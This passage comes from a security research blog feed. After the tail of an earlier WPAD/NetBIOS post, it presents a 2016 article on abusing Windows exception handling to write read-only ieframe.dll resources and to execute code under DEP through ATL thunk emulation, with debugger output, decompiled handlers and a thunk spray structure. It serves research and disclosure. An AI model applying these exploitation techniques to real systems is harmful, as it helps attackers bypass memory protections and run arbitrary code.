Apple’s Mac OS also implemented NetBIOS, and supports UNC path in some cases. WPAD can also be manually enabled on it. However, due to the difference in the implementation details of NetBIOS protocol, this attack does not affect the Mac OS – it would be much cooler otherwise.

0x05 Refrences

[1] Evilgrade

[2] 10 Places to Stick Your UNC Path

[3] Web Proxy Auto-Discovery Protocol

[4] NetBIOS Over TCP/IP

[5] Disable WINS/NetBT name resolution

[6] MS99-054, CVE-1999-0858

[7] MS09-008, CVE-2009-0093, CVE-2009-0094

[8] MS12-074, CVE-2012-4776

[9] MS16-063, CVE-2016-3213

[10] MS16-077, CVE-2016-3213, CVE-2016-3236

Exceptions in Exceptions – Abusing Special Cases in System Exception Handling to Achieve Unbelievable Vulnerability Exploitation //xlab.tencent.com/en/2016/04/19/exception-in-exception/ Tue, 19 Apr 2016 08:21:21 +0000 //xlab.tencent.com/en/?p=86 Continue reading "Exceptions in Exceptions – Abusing Special Cases in System Exception Handling to Achieve Unbelievable Vulnerability Exploitation"]]>

Memory Read / Write / Execute attributes are one of the most important part of system security. Usually it is mandatory to have writable attribute set before overwriting a block of memory, and executable attribute set before executing code in a block of memory, otherwise an exception is generated. However, there are some special cases in the Windows exception handling procedure that we can take advantage of. By abusing such exceptions, we could write to the unwritable, and execute the unexecutable.

0x01 Directly modify read-only memory locations

In my CanSecWest 2014 talk “ROPs are for the 99%” I introduced an interesting technique – by modifying some flag in JavaScript objects, we can disable the safe mode and let Internet Explorer (IE) load dangerous objects such as WScript.Shell, and execute arbitrary code without worrying about the DEP.

Modifying SafeMode flag isn’t the only way to let IE load dangerous objects.

Some parts of IE are actually implemented in HTML. These HTML code are usually stored in the resource section of ieframe.dll. for example, the print preview page is in res://ieframe.dll/preview.dlg, organize favorites page is in res://ieframe.dll/orgfav.dlg, page properties page is in res://ieframe.dll/docppg.ppg, and so on.

IE will create separate renderer and JavaScript engine instances for these HTML, but the SafeMode is disabled by default in these new JavaScript engine instances.

Therefore, we only need to insert our JavaScript code into the resource section of ieframe.dll, and trigger the corresponding IE functionality, the code will be executed as if it is part of the IE functionality in a SafeMode disabled JavaScript engine instance.

But the resource section of the PE file is read-only. If we use a write-what-where vulnerability to modify the resource of ieframe.dll, an access violation exception is generated:

eax=00000041 ebx=1e2e31b0 ecx=00000000 edx=00000083 esi=1e2e31b0 edi=68b77fe5
eip=69c6585f esp=0363ac00 ebp=0363ac84 iopl=0         nv up ei pl nz na pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010207
69c6585f 88040f          mov     byte ptr [edi+ecx],al      ds:002b:68b77fe5=76
0:008> !exchain
0363b0f0: jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+1570 (69b421d1)
0363b648: jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+1570 (69b421d1)
0363bab8: jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+1570 (69b421d1)
0363bb78: jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+28c0 (69c71564)
0363bbc0: jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+2898 (69c7150f)
0363bc44: jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+276a (69d0dedd)
0363c588: MSHTML!_except_handler4+0 (66495fa4)
  CRT scope  0, filter: MSHTML! ... Omitted... (6652bbe8) 
                func:   MSHTML!... Omitted... (6652bbf1)
0363c62c: user32!_except_handler4+0 (7569a61e)
  CRT scope  0, func:   user32!UserCallWinProcCheckWow+123 (75664456)
0363c68c: user32!_except_handler4+0 (7569a61e)
  CRT scope  0, filter: user32!DispatchMessageWorker+15e (756659b7)
                func:   user32!DispatchMessageWorker+171 (756659ca)
0363f9a8: ntdll!_except_handler4+0 (776a71f5)
  CRT scope  0, filter: ntdll!__RtlUserThreadStart+2e (776a74d0)
                func:   ntdll!__RtlUserThreadStart+63 (776a90eb)
0363f9c8: ntdll!FinalExceptionHandler+0 (776f7428)

In the above exception handler chain, the exception handler in mshtml.dll will call kernel32!RaiseFailFastException(). If g_fFailFastHandlerDisabled is set to false, the process will be terminated:

int __thiscall RaiseFailFastExceptionFilter(int this) {
  signed int **v1; // esi@1
  CONTEXT *v2; // ST04_4@2
  signed int v3; // eax@2
  UINT v4; // ST08_4@4
  HANDLE v5; // eax@4

  v1 = (signed int **)this;
  if ( !g_fFailFastHandlerDisabled )
    v2 = *(CONTEXT **)(this + 4);
    g_fFailFastHandlerDisabled = 1;
    RaiseFailFastException(*(PEXCEPTION_RECORD *)this, v2, 2u);
    v3 = 1653;
    if ( *v1 )
      v3 = **v1;
    v4 = v3;
    v5 = GetCurrentProcess();
    TerminateProcess(v5, v4);
  return 0;

However, if g_fFailFastHandlerDisabled is set to true, the exception handling chain will call into kernel32!UnhandledExceptionFilter(), and finally kernel32!CheckForReadOnlyResourceFilter():

int __stdcall CheckForReadOnlyResourceFilter(int a1) {
  int result; // eax@2

  if ( BasepAllowResourceConversion )
    result = CheckForReadOnlyResource(a1, 0);
    result = 0;
  return result;

If BasepAllowResourceConversion is also true, CheckForReadOnlyResource() will set the target page to writable, and return normally.

That is, if we first modify g_fFailFastHandlerDisabled and BasepAllowResourceConversion flag to true, we can then directly modify the resource in ieframe.dll without worrying about read-only attributes, the operating system will take care of it for us.

Another small obstacle. Once page attribute modification is triggered in CheckForReadOnlyResource(), the RegionSize of the memory attribute will also be change to one page size, usually 0x1000. Before IE create renderer instances with HTML resources in ieframe.dll, mshtml!GetResource() checks if the RegionSize attribute is larger than the size of the resource, and fails otherwise. The solution is to completely overwrite the resource from start to end, the RegionSize will increase accordingly and the check is therefore bypassed.

We now have a surreal exploit thanks to the special case for PE resource section in Windows write exception.

0x02 Executing the unexecutable memory locations

In my VARA 2009 talk “Time Factors in Vulnerability Hunting” I introduced a rare module address use-after-free vulnerability. For example, Thread A calls a function in module X, module X in turn calls a time consuming function in module Y. if thread B unloads module X before the function call returns, the return address is invalid when the function call returns. I found such problems in Flash module of the Opera browser at that time. One of the download managers also had similar problems.

Some other vulnerability categories also exhibit similar properties – execution is possible but the address is not controllable. In environments without DEP, these kind of vulnerabilities are not hard to exploit – we only need to spray the code to the target address. But with DEP enabled, these vulnerabilities are usually considered unexploitable.

But if we spray the target address with the following data:

typedef struct _THUNK3 {
    UCHAR MovEdx;       // 0xba         mov edx, imm32
    LONG EdxImmediate; 
    UCHAR MovEcx;       // 0xb9         mov ecx, imm32
    LONG EcxImmediate; // <- put your Stack Pivot here
    USHORT JmpEcx;      // 0xe1ff       jmp ecx
} Thunk3;

With DEP enabled, the target memory location is no doubt unexecutable, but surprisingly the system seems still executed these instructions, and jumped to the location in ecx. We only need to set ecx to jump to arbitrary memory location and execute the ROP chain.

For compatibility reasons, Windows implemented a mechanism called ATL thunk emulation. When the Windows kernel is handling execution exceptions, it checks if the exception address looks like a ATL thunk. If so, the kernel emulate its execution with KiEmulateAtlThunk() routine.

There are some limitations. ATL thunk emulation checks if the target address is within a PE file, and CFG checks are also enforced on supported systems. After Windows Vista, ATL thunk emulation only applies to applications compiled without IMAGE_DLLCHARACTERISTICS_NX_COMPAT under default DEP policy. If /NXCOMPAT is specified in compiler flag, the ATL thunk emulation is no longer supported. But there are still a lot of programs that does support the ATL thunk emulation, as seen in many third party application, and 32-bit iexplore.exe. Vulnerability such as CVE-2015-2425 in Hacking Team leaked emails is also exploitable with this technique if a heap spray is successful.

By abusing the ATL thunk emulation in system exception handling procedure, we make the unexcutable executable again, and bring some unexploitable vulnerabilities back to life.

Majority of this article was written in October 2014. Module addresses and symbol information were from Windows Technical Preview 6.4.9841 x64 with Internet Explorer 11.


[1] ROPs are for the 99%, CanSecWest 2014, Yang Yu
[2] Bypassing Browser Memory Protections
[3] (CVE-2015-2425) “Gifts” From Hacking Team Continue, IE Zero-Day Added to Mix
[4] Time Factors in Vulnerability Hunting,VARA 2009